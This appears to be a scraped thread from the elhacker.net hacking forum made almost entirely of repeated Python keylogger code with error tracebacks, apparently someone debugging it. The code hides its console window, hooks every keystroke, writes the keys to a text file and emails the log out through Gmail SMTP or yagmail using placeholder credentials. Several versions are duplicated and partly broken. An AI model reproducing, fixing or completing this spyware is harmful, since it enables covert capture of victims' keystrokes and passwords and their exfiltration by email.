Foro de elhacker.net

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
import win32console
import win32gui
import pythoncom,pyHook
import time
import smtplib
import os
import sys
# www.pythondiario.com
 
########################################################
# CONFIGURAR VARIABLES
########################################################
 
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
 
#crea el archivo .txt 
f=open("c:\output.txt","w+")
f.close
 
#Variable que cuenta las tecas presionadas
count = 0
 
########################################################
# FUNCIONES
########################################################
 
def send_email(message):
 
    try:
 
        # Datos
        fromaddr = 'correo@gmail.com'
        toaddrs = 'correo@gmail.com'
        username = 'correo@gmail.com'
        password = 'contraseña'
 
        # Enviando el correo
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(username,password)
        server.sendmail(fromaddr, toaddrs, message)
        server.quit()
 
    except:
 
        pass
 
 
def OnKeyboardEvent(event):
 
    global count
    count += 1
    #presiona CTRL+E para salir
    if event.Ascii==5:
        sys.exit(0)
 
    if event.Ascii !=0 or 8:
        #abre output.txt
        f=open('c:\output.txt','r+')
        buffer=f.read()
        f.close()        
 
        if len(buffer)==1:
            send_email("Arranco...")            
 
        if  count ==100: 
            #Envia los ultimos 500 caracteres
            capturado = buffer[-100:].replace("\n"," ")
            send_email("capturado")
            count = 0
 
        #abre output.txt escribe y suma nuevas pulsaciones
        f=open('c:\output.txt','w')
        keylogs=chr(event.Ascii)
 
        #si se presiona ENTER
        if event.Ascii==13:
            keylogs='\n'
 
        #si se preciona ESPACIO 
        if event.Ascii==32:
            keylogs=''
 
        buffer+=keylogs
        f.write(buffer)
        f.close()
 
 
# crea el objeto hook manager
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

win32gui.ShowWindow(win,0)

win32gui.ShowWindow(win,1)

  event = KeyboardEvent(msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name)
SystemError: <class 'pyHook.HookManager.KeyboardEvent'> returned a result with an error set
TypeError: an integer is required (got type NoneType)

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()

f=open("c:\output.txt","w+")
f.close
 

capturado = buffer[-500:].replace("\n","
                                                                              ^
SyntaxError: EOL while scanning string literal

Traceback (most recent call last):
  File "C:\Users\Andrés\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pyHook\HookManager.py", line 348, in KeyboardSwitch
    event = KeyboardEvent(msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name)
SystemError: <class 'pyHook.HookManager.KeyboardEvent'> returned a result with an error set

capturado = buffer[-500:].replace("\n","
                                                                              ^
SyntaxError: EOL while scanning string literal

Traceback (most recent call last):
  File "C:\Users\Andrés\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pyHook\HookManager.py", line 348, in KeyboardSwitch
    event = KeyboardEvent(msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name)
SystemError: <class 'pyHook.HookManager.KeyboardEvent'> returned a result with an error set

from functools import partial
import atexit
import os
import keyboard
import time, datetime
import smtplib
import yagmail
import sys
 
 
 
yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
yag
img = "C:/Users/Andrés/Desktop/keys.txt"	
yag.send('correo@gmail.com', "Birthday", contents = [img])

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#   Copyright 2013-2017 Recursos Python
#   www.recursospython.com
#
from functools import partial
import atexit
import os
import keyboard
import yagmail
MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
    if event.event_type in ("up", "down"):
        key = MAP.get(event.name, event.name)
        modifier = len(key) > 1
        # Capturar únicamente los modificadores cuando están siendo
        # presionados.
        if not modifier and event.event_type == "down":
            return
        # Evitar escribir múltiples veces la misma tecla si está
        # siendo presionada.
        if modifier:
            if event.event_type == "down":
                if is_down.get(key, False):
                    return
                else:
                    is_down[key] = True
            elif event.event_type == "up":
                is_down[key] = False
            # Indicar si está siendo presionado.
            key = " [{} ({})] ".format(key, event.event_type)
        elif key == "\r":
            # Salto de línea.
            key = "\n"
        # Escribir la tecla al archivo de salida.
        output.write(key)
        # Forzar escritura.
        output.flush()
def onexit(output):
    output.close()
def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
 
    # Indica si una tecla está siendo presionada.
    is_down = {}
 
    # Archivo de salida.
    output = open(FILE_NAME, "a")
 
    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)
 
    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)
 
if __name__ == "__main__":
    main()
 

from functools import partial
import atexit
import os
import keyboard
import time, datetime
import smtplib
import yagmail
import sys
 
 
 
yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
yag
img = "C:/Users/Andrés/Desktop/keys.txt"	
yag.send('correo@gmail.com', "Birthday", contents = [img])
 
if __name__ == "__main__":
    main()
 

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#   Copyright 2013-2017 Recursos Python
#   www.recursospython.com
#
from functools import partial
import atexit
import os
import keyboard
import yagmail
MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
    if event.event_type in ("up", "down"):
        key = MAP.get(event.name, event.name)
        modifier = len(key) > 1
        # Capturar únicamente los modificadores cuando están siendo
        # presionados.
        if not modifier and event.event_type == "down":
            return
        # Evitar escribir múltiples veces la misma tecla si está
        # siendo presionada.
        if modifier:
            if event.event_type == "down":
                if is_down.get(key, False):
                    return
                else:
                    is_down[key] = True
            elif event.event_type == "up":
                is_down[key] = False
            # Indicar si está siendo presionado.
            key = " [{} ({})] ".format(key, event.event_type)
        elif key == "\r":
            # Salto de línea.
            key = "\n"
        # Escribir la tecla al archivo de salida.
        output.write(key)
        # Forzar escritura.
        output.flush()
def onexit(output):
    output.close()
def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
 
    # Indica si una tecla está siendo presionada.
    is_down = {}
 
    # Archivo de salida.
    output = open(FILE_NAME, "a")
 
    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)
 
    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)
 
yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
yag
img = "C:/Users/Andrés/Desktop/keys.txt"	
yag.send('correo@gmail.com', "Birthday", contents = [img])
 
if __name__ == "__main__":
    main()
 

import time, datetime
import smtplib
import sys
 

import yagmail

import atexit
import os
import keyboard
 
if __name__ == "__main__":
    main()
 

from functools import partial
import atexit
import os
import keyboard
MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
    if event.event_type in ("up", "down"):
        key = MAP.get(event.name, event.name)
        modifier = len(key) > 1
        # Capturar únicamente los modificadores cuando están siendo
        # presionados.
        if not modifier and event.event_type == "down":
            return
        # Evitar escribir múltiples veces la misma tecla si está
        # siendo presionada.
        if modifier:
            if event.event_type == "down":
                if is_down.get(key, False):
                    return
                else:
                    is_down[key] = True
            elif event.event_type == "up":
                is_down[key] = False
            # Indicar si está siendo presionado.
            key = " [{} ({})] ".format(key, event.event_type)
        elif key == "\r":
            # Salto de línea.
            key = "\n"
        # Escribir la tecla al archivo de salida.
        output.write(key)
        # Forzar escritura.
        output.flush()
def onexit(output):
    output.close()
def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
 
    # Indica si una tecla está siendo presionada.
    is_down = {}
 
    # Archivo de salida.
    output = open(FILE_NAME, "a")
 
    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)
 
    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)
 
 
 
from functools import partial
import time, datetime
import smtplib
import yagmail
import sys
 
 
 
yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
yag
img = "C:/Users/Andrés/Desktop/keys.txt"	
yag.send('correo@gmail.com', "Birthday", contents = [img])

from functools import partial
import time, datetime
import smtplib
import yagmail
import sys
import atexit
import os
import keyboard
 
MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "C:/Users/Andrés/Desktop/keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
    if event.event_type in ("up", "down"):
        key = MAP.get(event.name, event.name)
        modifier = len(key) > 1
        # Capturar únicamente los modificadores cuando están siendo
        # presionados.
        if not modifier and event.event_type == "down":
            return
        # Evitar escribir múltiples veces la misma tecla si está
        # siendo presionada.
        if modifier:
            if event.event_type == "down":
                if is_down.get(key, False):
                    return
                else:
                    is_down[key] = True
            elif event.event_type == "up":
                is_down[key] = False
            # Indicar si está siendo presionado.
            key = " [{} ({})] ".format(key, event.event_type)
        elif key == "\r":
            # Salto de línea.
            key = "\n"
        # Escribir la tecla al archivo de salida.
        output.write(key)
        # Forzar escritura.
        output.flush()
def onexit(output):
    output.close()
def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
 
    # Indica si una tecla está siendo presionada.
    is_down = {}
 
    # Archivo de salida.
    output = open(FILE_NAME, "a")
 
    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)
 
    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)
 
 
yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
yag
img = "C:/Users/Andrés/Desktop/keys.txt"	
yag.send('correo@gmail.com', "Birthday", contents = [img])

if __name__ == "__main__":
    main()
 

from functools import partial
import atexit
import os
import keyboard
import time, datetime
import smtplib
import yagmail
import sys
 
MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "C:/Users/Andrés/Desktop/keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
    if event.event_type in ("up", "down"):
        key = MAP.get(event.name, event.name)
        modifier = len(key) > 1
        # Capturar únicamente los modificadores cuando están siendo
        # presionados.
        if not modifier and event.event_type == "down":
            return
        # Evitar escribir múltiples veces la misma tecla si está
        # siendo presionada.
        if modifier:
            if event.event_type == "down":
                if is_down.get(key, False):
                    return
                else:
                    is_down[key] = True
            elif event.event_type == "up":
                is_down[key] = False
            # Indicar si está siendo presionado.
            key = " [{} ({})] ".format(key, event.event_type)
        elif key == "\r":
            # Salto de línea.
            key = "\n"
        # Escribir la tecla al archivo de salida.
        output.write(key)
        # Forzar escritura.
        output.flush()
def onexit(output):
    output.close()
def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
 
    # Indica si una tecla está siendo presionada.
    is_down = {}
 
    # Archivo de salida.
    output = open(FILE_NAME, "a")
 
    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)
 
    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)
 
if __name__ == "__main__":
    main()
 
yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
yag
img = "C:/Users/Andrés/Desktop/keys.txt"
yag.send('correo@gmail.com', "JoJoJo", contents = [img])